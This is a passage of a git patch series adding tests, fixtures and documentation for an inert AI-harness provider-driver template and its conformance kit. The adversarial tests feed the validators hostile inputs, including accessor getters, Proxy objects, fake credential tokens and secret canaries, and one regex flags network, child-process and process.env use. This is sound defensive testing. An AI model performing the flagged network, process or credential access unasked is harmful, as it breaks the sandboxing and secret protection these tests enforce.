FUTURE_HARNESS_FIXTURE_REPOSITORY_PATH, + base_sha: baseSha, + }), + objective: 'Exercise the P22 future-harness conformance kit.', + assignments: Object.freeze([Object.freeze(assignment)]), + policy: Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }), + return_contract: Object.freeze({ mode: 'verified_decision', include_artifact_refs: true }), + }); + const envelope = compileChildEnvelopeV1(manifest, FUTURE_HARNESS_FIXTURE_ASSIGNMENT_ID); + const identity = Object.freeze({ + provider, + model, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + request_id: FUTURE_HARNESS_FIXTURE_REQUEST_ID, + branch: FUTURE_HARNESS_FIXTURE_BRANCH, + base_sha: envelope.repository.base_sha, + workspace_semantics: provider === 'cursor-cloud' ? 'remote_provider_managed' : 'local_managed_worktree', + workspace_starting_point: provider === 'cursor-cloud' ? 'pinned_pushed_sha' : 'run_base_sha', + }); + return Object.freeze({ + manifest, + envelope, + identity, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }); +} + +export function futureHarnessTemplateOptionsV1(provider = 'dsh', declarationOverrides = {}) { + const fixture = buildFutureHarnessFixtureV1(provider); + return Object.freeze({ + fixture, + options: Object.freeze({ + identity: fixture.identity, + declaration: futureHarnessFailClosedDeclarationV1(provider, declarationOverrides), + }), + }); +} + +function detailFor(operation, disposition) { + if (operation === 'preflight' && disposition === 'blocked') { + return { + detail_code: 'model_unattested', + detail_message: 'The installed driver cannot attest the requested model.', + }; + } + if (operation === 'launch' && disposition === 'not_sent') { + return { + detail_code: 'transport_unavailable', + detail_message: 'No provider transport is configured.', + }; + } + return {}; +} + +export function scriptedFutureHarnessResultV1(operation, request, fixture, disposition, extra = {}) { + return { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: fixture.identity.run_id, + assignment_id: fixture.identity.assignment_id, + lane_index: fixture.identity.lane_index, + base_sha: fixture.identity.base_sha, + child_envelope_digest: request.child_envelope_digest, + disposition, + ...detailFor(operation, disposition), + ...extra, + }; +} + +export function createScriptedFutureHarnessDriverV1(fixture, dispositions = {}) { + const chosen = { + preflight: 'ready', + launch: 'dispatch_uncertain', + reconcile: 'terminal', + cancel: 'already_terminal', + ...dispositions, + }; + let terminal = false; + return { + preflight: (request) => scriptedFutureHarnessResultV1( + 'preflight', request, fixture, chosen.preflight, + ), + launch: (request) => scriptedFutureHarnessResultV1( + 'launch', request, fixture, chosen.launch, + ), + reconcile: (request) => { + const disposition = terminal ? 'terminal' : chosen.reconcile; + if (disposition === 'terminal') terminal = true; + return scriptedFutureHarnessResultV1('reconcile', request, fixture, disposition); + }, + cancel: (request) => { + const disposition = terminal ? 'already_terminal' : chosen.cancel; + if (disposition === 'already_terminal' || disposition === 'cancel_confirmed') { + terminal = true; + } + return scriptedFutureHarnessResultV1('cancel', request, fixture, disposition); + }, + }; +} diff --git a/plugins/codex-co-engineer/test/r1-future-harness-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-future-harness-adversarial.test.mjs new file mode 100644 index 0000000..793ea90 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-future-harness-adversarial.test.mjs @@ -0,0 +1,169 @@ +// Adversarial P22 future-harness tests: hostile keys, prototypes, accessors, +// identity lies, secret/path leakage, and invented capabilities fail closed. + +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { + bindFutureHarnessDriverTemplateV1, + createFutureHarnessDriverTemplateV1, + validateFutureHarnessIdentityV1, +} from '../mcp/v3/future-harness.mjs'; +import { + assertFutureHarnessContentFreeV1, +} from '../mcp/v3/provider-driver-conformance.mjs'; +import { + DRIVER_OPERATIONS, + assertProviderDriverV1, + bindProviderDriverV1, + buildDriverOperationRequestV1, + validateDriverLaunchRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + FUTURE_HARNESS_PATH_CANARY, + FUTURE_HARNESS_SECRET_CANARY, + buildFutureHarnessFixtureV1, + createScriptedFutureHarnessDriverV1, + futureHarnessSupportedDeclarationV1, + futureHarnessTemplateOptionsV1, + scriptedFutureHarnessResultV1, +} from './fixtures/r1-future-harness-conformance.mjs'; + +function expectCode(fn, code) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code); +} + +test('hostile template options never execute caller code', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + let getterRuns = 0; + const hostile = { ...packed.options }; + Object.defineProperty(hostile, 'identity', { + enumerable: true, + get() { + getterRuns += 1; + return packed.options.identity; + }, + }); + expectCode(() => createFutureHarnessDriverTemplateV1(hostile), 'accessor_property_denied'); + assert.equal(getterRuns, 0); + expectCode(() => createFutureHarnessDriverTemplateV1(Object.assign( + Object.create({ inherited: true }), packed.options, + )), 'exotic_prototype_denied'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + ...packed.options, + [Symbol('hidden')]: 1, + }), 'symbol_key_denied'); +}); + +test('a fifth reply/retry/merge operation is not a driver surface', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + const driver = createFutureHarnessDriverTemplateV1(packed.options); + expectCode(() => assertProviderDriverV1({ ...driver, reply: () => ({}) }), 'invalid_surface'); + expectCode(() => assertProviderDriverV1({ ...driver, retry: () => ({}) }), 'invalid_surface'); + expectCode(() => assertProviderDriverV1({ ...driver, merge: () => ({}) }), 'invalid_surface'); + const incomplete = { ...driver }; + delete incomplete.cancel; + expectCode(() => assertProviderDriverV1(incomplete), 'invalid_surface'); +}); + +test('foreign launch keys keep fail-closed P02 denial codes', () => { + const fixture = buildFutureHarnessFixtureV1('dsh'); + const request = buildDriverOperationRequestV1('launch', fixture.envelope); + expectCode(() => validateDriverLaunchRequestV1({ ...request, fallback: true }), + 'replay_or_fallback_denied'); + expectCode(() => validateDriverLaunchRequestV1({ ...request, create_pr: true }), + 'merge_authority_denied'); + expectCode(() => validateDriverLaunchRequestV1({ ...request, auto_create_pr: true }), + 'merge_authority_denied'); + expectCode(() => validateDriverLaunchRequestV1({ ...request, push: true }), + 'merge_authority_denied'); + expectCode(() => validateDriverLaunchRequestV1({ ...request, credentials: { token: 'x' } }), + 'credential_content_denied'); +}); + +test('scripted identity lies and extra receipt keys are rejected', () => { + const fixture = buildFutureHarnessFixtureV1('grok'); + const declaration = futureHarnessSupportedDeclarationV1('grok'); + const lying = createScriptedFutureHarnessDriverV1(fixture, { launch: 'dispatched' }); + lying.launch = (request) => ({ + ...scriptedFutureHarnessResultV1('launch', request, fixture, 'dispatched'), + run_id: 'other-run', + }); + const bound = bindProviderDriverV1(lying, declaration); + bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + expectCode( + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'receipt_identity_mismatch', + ); + + const extra = createScriptedFutureHarnessDriverV1(fixture, { launch: 'dispatched' }); + extra.launch = (request) => ({ + ...scriptedFutureHarnessResultV1('launch', request, fixture, 'dispatched'), + artifact_ref: 'sha256:deadbeef', + }); + const extraBound = bindProviderDriverV1(extra, declaration); + extraBound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + expectCode( + () => extraBound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'unknown_key', + ); +}); + +test('secret and path canaries never appear in template receipts or errors', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + const preflight = bound.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)); + const launch = bound.launch(buildDriverOperationRequestV1('launch', packed.fixture.envelope)); + assertFutureHarnessContentFreeV1(preflight, 'preflight'); + assertFutureHarnessContentFreeV1(launch, 'launch'); + try { + bound.cancel(buildDriverOperationRequestV1('cancel', packed.fixture.envelope)); + assert.fail('cancel must fail closed'); + } catch (error) { + assert.ok(!utilTypes.isProxy(error)); + assert.doesNotMatch(error.message, new RegExp(FUTURE_HARNESS_SECRET_CANARY, 'u')); + assert.doesNotMatch(error.message, new RegExp(FUTURE_HARNESS_PATH_CANARY.replaceAll('/', '\\/'), 'u')); + assertFutureHarnessContentFreeV1(error.message, 'cancel.error'); + } + expectCode( + () => assertFutureHarnessContentFreeV1( + { detail_message: `token ${FUTURE_HARNESS_SECRET_CANARY}` }, + 'leaky', + ), + 'credential_content_denied', + ); + expectCode( + () => assertFutureHarnessContentFreeV1({ path: FUTURE_HARNESS_PATH_CANARY }, 'leaky-path'), + 'credential_content_denied', + ); +}); + +test('random IDs and clocks are not accepted as identity substitutes', () => { + const fixture = buildFutureHarnessFixtureV1('dsh'); + expectCode(() => validateFutureHarnessIdentityV1({ + ...fixture.identity, + request_id: `${Date.now()}`, + }), 'invalid_format'); + expectCode(() => validateFutureHarnessIdentityV1({ + ...fixture.identity, + branch: 'HEAD', + }), 'invalid_format'); + expectCode(() => validateFutureHarnessIdentityV1({ + ...fixture.identity, + base_sha: 'MAIN', + }), 'invalid_format'); +}); + +test('Proxy drivers and accessor operations are denied', () => { + const packed = futureHarnessTemplateOptionsV1('cursor-local'); + const driver = createFutureHarnessDriverTemplateV1(packed.options); + expectCode(() => assertProviderDriverV1(new Proxy(driver, {})), 'proxy_denied'); + const accessor = {}; + Object.defineProperty(accessor, 'preflight', { enumerable: true, get: () => () => ({}) }); + for (const operation of DRIVER_OPERATIONS) { + if (operation !== 'preflight') accessor[operation] = () => ({}); + } + expectCode(() => assertProviderDriverV1(accessor), 'invalid_object'); +}); diff --git a/plugins/codex-co-engineer/test/r1-future-harness-conformance.test.mjs b/plugins/codex-co-engineer/test/r1-future-harness-conformance.test.mjs new file mode 100644 index 0000000..b17ce43 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-future-harness-conformance.test.mjs @@ -0,0 +1,199 @@ +// Reusable P22 future-harness conformance suite. The kit is deterministic +// and may be pointed at the inert template or at a scripted future adapter. +// Passing it does not qualify a live transport. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + bindFutureHarnessDriverTemplateV1, + createFutureHarnessDriverTemplateV1, +} from '../mcp/v3/future-harness.mjs'; +import { + describeFutureHarnessConformanceKitV1, + runFutureHarnessConformanceKitV1, +} from '../mcp/v3/provider-driver-conformance.mjs'; +import { bindProviderDriverV1, buildDriverOperationRequestV1 } from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + buildFutureHarnessFixtureV1, + createScriptedFutureHarnessDriverV1, + futureHarnessFailClosedDeclarationV1, + futureHarnessSupportedDeclarationV1, + futureHarnessTemplateOptionsV1, +} from './fixtures/r1-future-harness-conformance.mjs'; + +test('the conformance kit describes mock evidence and not live qualification', () => { + const description = describeFutureHarnessConformanceKitV1(); + assert.equal(description.live_transport_qualification, false); + assert.ok(description.proves.includes('preflight_before_spawn')); + assert.ok(description.proves.includes('no_remote_pr_merge_authority')); + assert.ok(description.proves.includes('no_secret_or_path_leakage')); + assert.ok(Object.isFrozen(description)); +}); + +test('the inert template passes the reusable kit deterministically', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + const driver = createFutureHarnessDriverTemplateV1(packed.options); + const first = runFutureHarnessConformanceKitV1(driver, { + label: 'template-dsh', + declaration: packed.options.declaration, + fixture: packed.fixture, + expect: { launch_disposition: 'not_sent' }, + }); + const second = runFutureHarnessConformanceKitV1( + createFutureHarnessDriverTemplateV1(packed.options), + { + label: 'template-dsh', + declaration: packed.options.declaration, + fixture: packed.fixture, + expect: { launch_disposition: 'not_sent' }, + }, + ); + assert.equal(first.ok, true); + assert.equal(first.live_transport_qualification, false); + assert.equal(first.mode, 'not_sent'); + assert.deepEqual(first, second); + assert.ok(first.checks >= 8); +}); + +test('the kit covers grok, cursor-local, and cursor-cloud fail-closed templates', () => { + for (const provider of ['grok', 'cursor-local', 'cursor-cloud']) { + const packed = futureHarnessTemplateOptionsV1(provider); + const report = runFutureHarnessConformanceKitV1( + createFutureHarnessDriverTemplateV1(packed.options), + { + label: `template-${provider}`, + declaration: packed.options.declaration, + fixture: packed.fixture, + expect: { launch_disposition: 'not_sent' }, + }, + ); + assert.equal(report.ok, true, provider); + assert.equal(report.live_transport_qualification, false, provider); + } +}); + +test('blocked unattested preflight is a first-class kit mode', () => { + const packed = futureHarnessTemplateOptionsV1('dsh', { + exact_model_selection: 'not_supported', + }); + const report = runFutureHarnessConformanceKitV1( + createFutureHarnessDriverTemplateV1(packed.options), + { + label: 'template-blocked', + declaration: packed.options.declaration, + fixture: packed.fixture, + expect: { preflight_disposition: 'blocked' }, + }, + ); + assert.equal(report.ok, true); + assert.equal(report.mode, 'blocked'); +}); + +test('a scripted dispatch double proves never-replay and terminal absorption', () => { + const fixture = buildFutureHarnessFixtureV1('grok'); + const declaration = futureHarnessSupportedDeclarationV1('grok'); + const driver = createScriptedFutureHarnessDriverV1(fixture, { + launch: 'dispatched', + reconcile: 'terminal', + cancel: 'already_terminal', + }); + const report = runFutureHarnessConformanceKitV1(driver, { + label: 'scripted-grok', + declaration, + fixture, + expect: { launch_disposition: 'dispatched' }, + }); + assert.equal(report.ok, true); + assert.equal(report.mode, 'dispatched'); + assert.equal(report.live_transport_qualification, false); +}); + +test('uncertain DSH dispatch never reports dispatched and never replays', () => { + const fixture = buildFutureHarnessFixtureV1('dsh'); + const declaration = futureHarnessSupportedDeclarationV1('dsh'); + const driver = createScriptedFutureHarnessDriverV1(fixture, { + launch: 'dispatch_uncertain', + reconcile: 'terminal', + cancel: 'already_terminal', + }); + const report = runFutureHarnessConformanceKitV1(driver, { + label: 'scripted-dsh', + declaration, + fixture, + expect: { launch_disposition: 'dispatch_uncertain' }, + }); + assert.equal(report.ok, true); + + const lying = createScriptedFutureHarnessDriverV1(fixture, { launch: 'dispatched' }); + assert.throws( + () => runFutureHarnessConformanceKitV1(lying, { + label: 'dsh-dispatched-lie', + declaration, + fixture, + expect: { launch_disposition: 'dispatched' }, + }), + (error) => error instanceof RunContractV1Error + && error.code === 'capability_dispatch_certainty_mismatch', + ); +}); + +test('unsupported cancel and reattach fail closed on a dispatched scripted driver', () => { + const fixture = buildFutureHarnessFixtureV1('cursor-local'); + const declaration = futureHarnessFailClosedDeclarationV1('cursor-local'); + const driver = createScriptedFutureHarnessDriverV1(fixture, { + launch: 'dispatched', + reconcile: 'in_progress', + }); + const report = runFutureHarnessConformanceKitV1(driver, { + label: 'unsupported-local', + declaration, + fixture, + expect: { launch_disposition: 'dispatched' }, + }); + assert.equal(report.ok, true); +}); + +test('the kit rejects a driver that invents a reply operation', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + const driver = { + ...createFutureHarnessDriverTemplateV1(packed.options), + reply: () => ({}), + }; + assert.throws( + () => runFutureHarnessConformanceKitV1(driver, { + label: 'reply-inventor', + declaration: packed.options.declaration, + fixture: packed.fixture, + }), + (error) => error instanceof RunContractV1Error && error.code === 'invalid_surface', + ); +}); + +test('bound template and unbound template share the frozen caller identity', () => { + const packed = futureHarnessTemplateOptionsV1('grok'); + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + bound.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)); + const launch = bound.launch(buildDriverOperationRequestV1('launch', packed.fixture.envelope)); + assert.equal(launch.run_id, packed.fixture.identity.run_id); + assert.equal(launch.assignment_id, packed.fixture.identity.assignment_id); + assert.equal(launch.base_sha, packed.fixture.identity.base_sha); +}); + +test('scripted live_session_reply still has no reply method', () => { + const fixture = buildFutureHarnessFixtureV1('grok'); + const declaration = futureHarnessSupportedDeclarationV1('grok'); + assert.equal(declaration.capability.same_session_reply, 'live_session_reply'); + const driver = createScriptedFutureHarnessDriverV1(fixture, { + launch: 'dispatched', + reconcile: 'unresolved_attention', + cancel: 'cancel_requested', + }); + assert.equal(Object.hasOwn(driver, 'reply'), false); + const bound = bindProviderDriverV1(driver, declaration); + bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + const observe = bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope)); + assert.equal(observe.disposition, 'unresolved_attention'); +}); diff --git a/plugins/codex-co-engineer/test/r1-future-harness.test.mjs b/plugins/codex-co-engineer/test/r1-future-harness.test.mjs new file mode 100644 index 0000000..a14d530 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-future-harness.test.mjs @@ -0,0 +1,217 @@ +// Normal P22 future-harness template tests. The scaffold exposes the exact +// P17 DriverV1 surface, fails closed, and never substitutes caller identity. + +import assert from 'node:assert/strict'; +import { readFileSync } from 'node:fs'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + FUTURE_HARNESS_FAIL_CLOSED_FEATURES, + bindFutureHarnessDriverTemplateV1, + createFutureHarnessDriverTemplateV1, + describeFutureHarnessDriverTemplateV1, + inspectFutureHarnessTemplateBindingV1, + validateFutureHarnessIdentityV1, +} from '../mcp/v3/future-harness.mjs'; +import { + DRIVER_OPERATIONS, + buildDriverOperationRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + buildFutureHarnessFixtureV1, + futureHarnessFailClosedDeclarationV1, + futureHarnessTemplateOptionsV1, +} from './fixtures/r1-future-harness-conformance.mjs'; + +function expectCode(fn, code) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code); +} + +function templateFor(provider = 'dsh') { + const packed = futureHarnessTemplateOptionsV1(provider); + return { + ...packed, + driver: createFutureHarnessDriverTemplateV1(packed.options), + bound: bindFutureHarnessDriverTemplateV1(packed.options), + }; +} + +test('the template describes an inert P17 surface with no transport', () => { + const description = describeFutureHarnessDriverTemplateV1(); + assert.deepEqual([...description.operations], [...DRIVER_OPERATIONS]); + assert.deepEqual([...description.transports], []); + assert.deepEqual([...description.relaunch_operations], []); + assert.equal(description.inert, true); + assert.equal(description.live_transport_qualification, false); + assert.deepEqual(description.fail_closed_features, FUTURE_HARNESS_FAIL_CLOSED_FEATURES); + assert.ok(Object.isFrozen(description)); +}); + +test('caller-supplied identities validate through P17 and freeze', () => { + const fixture = buildFutureHarnessFixtureV1('grok'); + const identity = validateFutureHarnessIdentityV1(fixture.identity); + assert.equal(identity.provider, 'grok'); + assert.equal(identity.model, 'grok-4'); + assert.equal(identity.request_id, fixture.identity.request_id); + assert.equal(identity.branch, fixture.identity.branch); + assert.ok(Object.isFrozen(identity)); + expectCode(() => validateFutureHarnessIdentityV1({ + ...fixture.identity, + provider: 'unknown-harness', + }), 'unknown_provider'); + expectCode(() => validateFutureHarnessIdentityV1({ + ...fixture.identity, + fallback: 'grok', + }), 'replay_or_fallback_denied'); +}); + +test('template construction requires identity and declaration and rejects extras', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + expectCode(() => createFutureHarnessDriverTemplateV1(), 'missing_key'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + identity: packed.options.identity, + }), 'missing_key'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + ...packed.options, + transport: { spawn: true }, + }), 'unknown_key'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + ...packed.options, + credentials: { token: 'sk-leakedsecretvalue' }, + }), 'credential_content_denied'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + ...packed.options, + create_pr: true, + }), 'merge_authority_denied'); + expectCode(() => createFutureHarnessDriverTemplateV1(new Proxy(packed.options, {})), + 'proxy_denied'); +}); + +test('the template exposes exactly the four P17 operations', () => { + const { driver } = templateFor('dsh'); + assert.deepEqual(Object.keys(driver).sort(), [...DRIVER_OPERATIONS].sort()); + for (const operation of DRIVER_OPERATIONS) { + assert.equal(typeof driver[operation], 'function'); + } + assert.ok(Object.isFrozen(driver)); +}); + +test('preflight is required before launch and launch never sends', () => { + const { bound, fixture } = templateFor('dsh'); + expectCode( + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'not_preflighted', + ); + const preflight = bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + assert.equal(preflight.disposition, 'ready'); + assert.equal(preflight.run_id, fixture.identity.run_id); + assert.equal(preflight.base_sha, fixture.identity.base_sha); + const launch = bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + assert.equal(launch.disposition, 'not_sent'); + assert.equal(launch.detail_code, 'transport_unavailable'); + expectCode( + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope)), + 'not_dispatched', + ); + expectCode( + () => bound.cancel(buildDriverOperationRequestV1('cancel', fixture.envelope)), + 'unsupported_capability', + ); +}); + +test('exact provider model workspace run request branch and base stay frozen', () => { + const packed = futureHarnessTemplateOptionsV1('cursor-local'); + const mutableIdentity = { ...packed.fixture.identity }; + const driver = createFutureHarnessDriverTemplateV1({ + identity: mutableIdentity, + declaration: packed.options.declaration, + }); + mutableIdentity.model = 'substituted-model'; + mutableIdentity.branch = 'main'; + mutableIdentity.request_id = 'req-other'; + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + bound.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)); + const binding = inspectFutureHarnessTemplateBindingV1(driver); + assert.equal(binding.identity.model, 'composer-1'); + assert.equal(binding.identity.branch, packed.fixture.identity.branch); + assert.equal(binding.identity.request_id, packed.fixture.identity.request_id); + assert.ok(Object.isFrozen(binding.identity)); +}); + +test('mismatched envelope identities fail closed and are never substituted', () => { + const packed = futureHarnessTemplateOptionsV1('grok'); + const other = buildFutureHarnessFixtureV1('dsh'); + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + expectCode( + () => bound.preflight(buildDriverOperationRequestV1('preflight', other.envelope)), + 'provider_slot_mismatch', + ); + const mutatedIdentity = { ...packed.fixture.identity, model: 'grok-code-fast-1' }; + const mismatched = createFutureHarnessDriverTemplateV1({ + identity: mutatedIdentity, + declaration: packed.options.declaration, + }); + expectCode( + () => mismatched.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)), + 'invalid_exact_model_selection', + ); +}); + +test('cursor-cloud template keeps the pinned starting SHA and never creates a PR', () => { + const packed = futureHarnessTemplateOptionsV1('cursor-cloud'); + assert.equal(packed.fixture.envelope.starting_ref, packed.fixture.identity.base_sha); + assert.equal(packed.options.declaration.capability.create_pr_posture, 'prohibited'); + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + const preflight = bound.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)); + assert.equal(preflight.disposition, 'ready'); + const launch = bound.launch(buildDriverOperationRequestV1('launch', packed.fixture.envelope)); + assert.equal(launch.disposition, 'not_sent'); +}); + +test('unattested exact-model posture blocks preflight', () => { + const packed = futureHarnessTemplateOptionsV1('dsh', { + exact_model_selection: 'exact_unattested', + }); + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + const preflight = bound.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)); + assert.equal(preflight.disposition, 'blocked'); + assert.equal(preflight.detail_code, 'model_unattested'); + expectCode( + () => bound.launch(buildDriverOperationRequestV1('launch', packed.fixture.envelope)), + 'blocked_lane_denied', + ); +}); + +test('unsupported cancel reattach and events fail closed after a possible send is still denied', () => { + const { bound, fixture } = templateFor('grok'); + bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + expectCode( + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { + intent: 'restart_reattach', + })), + 'unsupported_capability', + ); + expectCode( + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { + include: ['detailed_events'], + })), + 'unsupported_capability', + ); +}); + +test('the template source stays inert: no clocks, random IDs, network, or processes', () => { + const source = readFileSync(fileURLToPath(new URL('../mcp/v3/provider-driver-template.mjs', import.meta.url)), 'utf8'); + assert.doesNotMatch(source, /Date\.now|performance\.now|Math\.random|randomUUID|setTimeout|setInterval|fetch\(|createConnection|child_process|spawn\(|execFile|net\.|http\.|https\.|process\.env/u); + assert.match(source, /No provider transport is configured/u); +}); + +test('provider/declaration workspace mismatch fails closed', () => { + const fixture = buildFutureHarnessFixtureV1('dsh'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + identity: fixture.identity, + declaration: futureHarnessFailClosedDeclarationV1('grok'), + }), 'provider_slot_mismatch'); +}); From 54fba3b94ca75d305a898c18895200b1f3eef679 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 04:38:22 +0000 Subject: [PATCH 050/151] docs(provider): document capability and evidence requirements Distinguish required contract evidence, supported-capability evidence, unsupported-operation closure, and real-transport qualification. Mock conformance never proves a live provider route. --- docs/future-harness-conformance.md | 89 ++++++++++++++++++++++++++++++ 1 file changed, 89 insertions(+) create mode 100644 docs/future-harness-conformance.md diff --git a/docs/future-harness-conformance.md b/docs/future-harness-conformance.md new file mode 100644 index 0000000..46165b0 --- /dev/null +++ b/docs/future-harness-conformance.md @@ -0,0 +1,89 @@ +# Future-harness capability and evidence requirements (P22) + +P22 is an interface/template and a reusable conformance kit over the accepted +P17 `ProviderDriverV1` contract. It is not a fifth provider, not a supervisor +or registry cutover, and not a live transport. Future harnesses copy the +inert template, bind caller-supplied identities, and run the same kit. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/provider-driver-template.mjs` +- `plugins/codex-co-engineer/mcp/v3/future-harness.mjs` +- `plugins/codex-co-engineer/mcp/v3/provider-driver-conformance.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-future-harness-conformance.mjs` +- `plugins/codex-co-engineer/test/r1-future-harness.test.mjs` +- `plugins/codex-co-engineer/test/r1-future-harness-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/r1-future-harness-conformance.test.mjs` + +## Required contract evidence + +Every future harness must prove the closed P17 lifecycle, using P17 +validators rather than a parallel schema: + +- Exactly the four own operations `preflight`, `launch`, `reconcile`, and + `cancel`. No `reply`, `retry`, `relaunch`, or merge/PR operation. +- The accepted P05 13-field capability record, including + `never_replay` and `none_codex_only_integration`. +- Exact compiled `ChildEnvelopeV1` bytes plus the matching digest. Digest-only + launches are denied. +- Frozen receipts that echo the proven `run_id`, `assignment_id`, + `lane_index`, `base_sha`, and envelope digest. +- Preflight before spawn. A blocked preflight cannot launch. A possible send + is never replayed onto this or another transport. + +This evidence is contract evidence. It does not attest a live route. + +## Supported-capability evidence + +A declared-supported feature is evidence only when the harness actually +exercises it through P17: + +- `cancellation: supported` — cancel after a real dispatch observation, with + `cancel_requested` / `cancel_confirmed` / `already_terminal`. +- `restart: reconcile_reattach_only` — reattach the exact recorded identity. + It is never a relaunch. +- `detailed_events` / `live_progress` — bounded include lists on reconcile + only, never extra receipt keys. +- `same_session_reply: live_session_reply` — still not a fifth method. + Attention remains `unresolved_attention` until a later supported reply + path exists outside this kit. + +The inert template does not claim these features. Its fail-closed feature +record is explicit and caller-supplied. + +## Unsupported-operation closure + +Unsupported means fail closed, not "try anyway": + +- Defaults for the template are all-unsupported features and `not_sent` + launch (no transport is configured). +- Cancel, restart reattach, live progress, and detailed events throw + `unsupported_capability` when declared unsupported. +- Same-session reply `unsupported_unresolved_attention` must not invent a + continuation. +- Merge, push, create-PR, fallback, replay, credentials, and direct-mode + keys keep the P02 forbidden-class codes. +- Exact provider, model, workspace, run, request, branch, and base + identities are caller-supplied, validated through P17, frozen, and never + substituted. + +## Real-transport qualification + +Mocks never prove a live route. + +| Evidence class | What it may prove | What it must not claim | +| --- | --- | --- | +| Required contract | P17 surface, identity echo, no replay | Any provider is reachable | +| Supported capability | Declared feature behaves as declared | The feature works on a real host | +| Unsupported closure | Honest denial, no fallback | A missing feature is implemented | +| Real-transport qualification | Live spawn, events, cancel, reattach, terminal | — this kit does not produce it | + +`runFutureHarnessConformanceKitV1` always returns +`live_transport_qualification: false`. Passing the kit, the inert template, +or a scripted double is mock/conformance evidence only. Grok, Cursor Local, +Cursor Cloud, and DSH live qualification remain later, separate lanes after +those adapters are accepted. + +The template launches no process, opens no network, reads no clock or random +source, and stores no credentials. Future harnesses that add a transport must +inject that transport and qualify it with real-route evidence outside P22. From fc40f97d9f0c44f36a60362a293da29338bee405 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 02:36:13 +0000 Subject: [PATCH 051/151] refactor(cloud): implement SDK driver Add the Cursor Cloud ProviderDriverV1 adapter over an injected bounded SDK transport. Hard-bind provider cursor-cloud, attested exact models, clean pinned starting SHA, and create/send confirmation. Launch reports dispatched only after an authoritative agent/run/request identity; post-intent loss is dispatch_uncertain and is never replayed. Automatic PR creation is prohibited. --- .../mcp/v3/cursor-cloud-driver.mjs | 1404 +++++++++++++++++ .../r1-cursor-cloud-driver-fixtures.mjs | 222 +++ .../test/r1-cursor-cloud-driver.test.mjs | 402 +++++ 3 files changed, 2028 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs new file mode 100644 index 0000000..59fe35d --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs @@ -0,0 +1,1404 @@ +// CursorCloudDriverV1 — the P21 Cursor Cloud SDK adapter over accepted 